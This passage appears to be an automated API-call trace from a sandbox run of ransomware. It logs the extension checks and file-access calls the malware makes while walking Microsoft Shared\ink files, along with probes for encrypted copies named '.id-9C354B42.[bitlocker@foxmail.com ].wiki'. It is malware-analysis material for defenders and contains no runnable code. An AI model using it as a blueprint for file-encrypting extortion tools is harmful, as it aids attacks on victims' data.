[0148.238] lstrlenW (lpString=".zip") returned 4 [0148.238] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.238] lstrlenW (lpString=".rar") returned 4 [0148.238] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.238] lstrlenW (lpString=".bz2") returned 4 [0148.238] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.238] lstrlenW (lpString=".7z") returned 3 [0148.238] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0148.238] lstrlenW (lpString=".dbf") returned 4 [0148.238] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0148.238] lstrlenW (lpString=".1cd") returned 4 [0148.238] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0148.239] lstrlenW (lpString=".jpg") returned 4 [0148.239] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0148.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0148.239] lstrlenW (lpString=".doc") returned 4 [0148.239] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.239] lstrlenW (lpString=".docx") returned 5 [0148.239] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0148.239] lstrlenW (lpString=".pdf") returned 4 [0148.239] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.239] lstrlenW (lpString=".xls") returned 4 [0148.239] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.239] lstrlenW (lpString=".xlsx") returned 5 [0148.239] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0148.239] lstrlenW (lpString=".ppt") returned 4 [0148.239] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0148.239] lstrlenW (lpString=".zip") returned 4 [0148.239] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.239] lstrlenW (lpString=".rar") returned 4 [0148.239] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.239] lstrlenW (lpString=".bz2") returned 4 [0148.239] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.239] lstrlenW (lpString=".7z") returned 3 [0148.239] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0148.239] lstrlenW (lpString=".dbf") returned 4 [0148.239] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0148.239] lstrlenW (lpString=".1cd") returned 4 [0148.239] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0148.240] lstrlenW (lpString=".jpg") returned 4 [0148.240] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.240] lstrcmpiW (lpString1=".avi", lpString2=".wiki") returned -1 [0148.240] lstrlenW (lpString="boxed-join.avi") returned 14 [0148.240] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0148.825] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=33280) returned 1 [0148.825] CloseHandle (hObject=0x1d4) returned 1 [0148.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0148.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0148.826] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0148.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0148.826] lstrlenW (lpString=".doc") returned 4 [0148.826] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0148.826] lstrlenW (lpString=".docx") returned 5 [0148.826] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0148.826] lstrlenW (lpString=".pdf") returned 4 [0148.826] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0148.826] lstrlenW (lpString=".xls") returned 4 [0148.826] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0148.826] lstrlenW (lpString=".xlsx") returned 5 [0148.826] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0148.826] lstrlenW (lpString=".ppt") returned 4 [0148.826] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0148.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0148.826] lstrlenW (lpString=".zip") returned 4 [0148.826] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0148.826] lstrlenW (lpString=".rar") returned 4 [0148.826] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0148.826] lstrlenW (lpString=".bz2") returned 4 [0148.826] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0148.826] lstrlenW (lpString=".7z") returned 3 [0148.826] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0148.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0148.827] lstrlenW (lpString=".dbf") returned 4 [0148.827] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0148.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0148.827] lstrlenW (lpString=".1cd") returned 4 [0148.827] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0148.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0148.827] lstrlenW (lpString=".jpg") returned 4 [0148.827] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0148.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0148.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0148.827] lstrlenW (lpString=".doc") returned 4 [0148.827] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0148.827] lstrlenW (lpString=".docx") returned 5 [0148.827] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0148.827] lstrlenW (lpString=".pdf") returned 4 [0148.827] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0148.827] lstrlenW (lpString=".xls") returned 4 [0148.827] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0148.827] lstrlenW (lpString=".xlsx") returned 5 [0148.827] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0148.827] lstrlenW (lpString=".ppt") returned 4 [0148.827] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0148.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0148.827] lstrlenW (lpString=".zip") returned 4 [0148.827] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0148.827] lstrlenW (lpString=".rar") returned 4 [0148.827] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0148.827] lstrlenW (lpString=".bz2") returned 4 [0148.827] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0148.827] lstrlenW (lpString=".7z") returned 3 [0148.827] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0148.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0148.828] lstrlenW (lpString=".dbf") returned 4 [0148.828] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0148.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0148.828] lstrlenW (lpString=".1cd") returned 4 [0148.828] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0148.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0148.828] lstrlenW (lpString=".jpg") returned 4 [0148.828] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0148.828] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0148.828] lstrlenW (lpString="keypadbase.xml") returned 14 [0148.828] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0149.200] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=1118) returned 1 [0149.200] CloseHandle (hObject=0x1e0) returned 1 [0149.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20 [0149.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0149.201] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0149.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0149.201] lstrlenW (lpString=".doc") returned 4 [0149.201] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.201] lstrlenW (lpString=".docx") returned 5 [0149.201] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0149.201] lstrlenW (lpString=".pdf") returned 4 [0149.201] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.201] lstrlenW (lpString=".xls") returned 4 [0149.201] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.201] lstrlenW (lpString=".xlsx") returned 5 [0149.201] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0149.201] lstrlenW (lpString=".ppt") returned 4 [0149.201] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0149.201] lstrlenW (lpString=".zip") returned 4 [0149.201] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.201] lstrlenW (lpString=".rar") returned 4 [0149.201] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.201] lstrlenW (lpString=".bz2") returned 4 [0149.201] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.201] lstrlenW (lpString=".7z") returned 3 [0149.201] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0149.201] lstrlenW (lpString=".dbf") returned 4 [0149.201] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0149.201] lstrlenW (lpString=".1cd") returned 4 [0149.201] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0149.201] lstrlenW (lpString=".jpg") returned 4 [0149.201] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0149.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0149.202] lstrlenW (lpString=".doc") returned 4 [0149.202] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.202] lstrlenW (lpString=".docx") returned 5 [0149.202] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0149.202] lstrlenW (lpString=".pdf") returned 4 [0149.202] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.202] lstrlenW (lpString=".xls") returned 4 [0149.202] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.202] lstrlenW (lpString=".xlsx") returned 5 [0149.202] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0149.202] lstrlenW (lpString=".ppt") returned 4 [0149.202] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0149.202] lstrlenW (lpString=".zip") returned 4 [0149.202] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.202] lstrlenW (lpString=".rar") returned 4 [0149.202] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.202] lstrlenW (lpString=".bz2") returned 4 [0149.202] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.202] lstrlenW (lpString=".7z") returned 3 [0149.202] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0149.202] lstrlenW (lpString=".dbf") returned 4 [0149.202] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0149.202] lstrlenW (lpString=".1cd") returned 4 [0149.202] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0149.202] lstrlenW (lpString=".jpg") returned 4 [0149.202] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.203] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0149.203] lstrlenW (lpString="base_ca.xml") returned 11 [0149.203] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x25c [0149.336] GetFileSizeEx (in: hFile=0x25c, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=3166) returned 1 [0149.336] CloseHandle (hObject=0x25c) returned 1 [0149.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0x20 [0149.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0149.336] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0149.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0149.336] lstrlenW (lpString=".doc") returned 4 [0149.336] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.336] lstrlenW (lpString=".docx") returned 5 [0149.336] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0149.336] lstrlenW (lpString=".pdf") returned 4 [0149.336] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.336] lstrlenW (lpString=".xls") returned 4 [0149.336] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.336] lstrlenW (lpString=".xlsx") returned 5 [0149.336] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0149.336] lstrlenW (lpString=".ppt") returned 4 [0149.336] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0149.336] lstrlenW (lpString=".zip") returned 4 [0149.336] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.337] lstrlenW (lpString=".rar") returned 4 [0149.337] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.337] lstrlenW (lpString=".bz2") returned 4 [0149.337] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.337] lstrlenW (lpString=".7z") returned 3 [0149.337] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0149.337] lstrlenW (lpString=".dbf") returned 4 [0149.337] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0149.337] lstrlenW (lpString=".1cd") returned 4 [0149.337] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0149.337] lstrlenW (lpString=".jpg") returned 4 [0149.337] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0149.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0149.337] lstrlenW (lpString=".doc") returned 4 [0149.337] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.337] lstrlenW (lpString=".docx") returned 5 [0149.337] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0149.337] lstrlenW (lpString=".pdf") returned 4 [0149.337] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.337] lstrlenW (lpString=".xls") returned 4 [0149.337] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.337] lstrlenW (lpString=".xlsx") returned 5 [0149.337] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0149.337] lstrlenW (lpString=".ppt") returned 4 [0149.337] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0149.337] lstrlenW (lpString=".zip") returned 4 [0149.337] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.337] lstrlenW (lpString=".rar") returned 4 [0149.338] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.338] lstrlenW (lpString=".bz2") returned 4 [0149.338] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.338] lstrlenW (lpString=".7z") returned 3 [0149.338] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0149.338] lstrlenW (lpString=".dbf") returned 4 [0149.338] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0149.338] lstrlenW (lpString=".1cd") returned 4 [0149.338] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0149.338] lstrlenW (lpString=".jpg") returned 4 [0149.338] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.338] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0149.338] lstrlenW (lpString="base_rtl.xml") returned 12 [0149.338] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x25c [0149.338] GetFileSizeEx (in: hFile=0x25c, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=617) returned 1 [0149.338] CloseHandle (hObject=0x25c) returned 1 [0149.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml")) returned 0x20 [0149.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0149.339] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0149.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0149.339] lstrlenW (lpString=".doc") returned 4 [0149.339] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.339] lstrlenW (lpString=".docx") returned 5 [0149.339] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0149.339] lstrlenW (lpString=".pdf") returned 4 [0149.339] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.339] lstrlenW (lpString=".xls") returned 4 [0149.339] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.339] lstrlenW (lpString=".xlsx") returned 5 [0149.339] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0149.339] lstrlenW (lpString=".ppt") returned 4 [0149.339] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0149.339] lstrlenW (lpString=".zip") returned 4 [0149.339] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.339] lstrlenW (lpString=".rar") returned 4 [0149.339] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.339] lstrlenW (lpString=".bz2") returned 4 [0149.339] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.339] lstrlenW (lpString=".7z") returned 3 [0149.339] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0149.339] lstrlenW (lpString=".dbf") returned 4 [0149.339] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0149.340] lstrlenW (lpString=".1cd") returned 4 [0149.340] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0149.340] lstrlenW (lpString=".jpg") returned 4 [0149.340] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0149.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0149.340] lstrlenW (lpString=".doc") returned 4 [0149.340] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.340] lstrlenW (lpString=".docx") returned 5 [0149.340] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0149.340] lstrlenW (lpString=".pdf") returned 4 [0149.340] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.340] lstrlenW (lpString=".xls") returned 4 [0149.340] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.340] lstrlenW (lpString=".xlsx") returned 5 [0149.340] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0149.340] lstrlenW (lpString=".ppt") returned 4 [0149.340] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.340] lstrlenW (lpString="C:\\Program Files\\Common 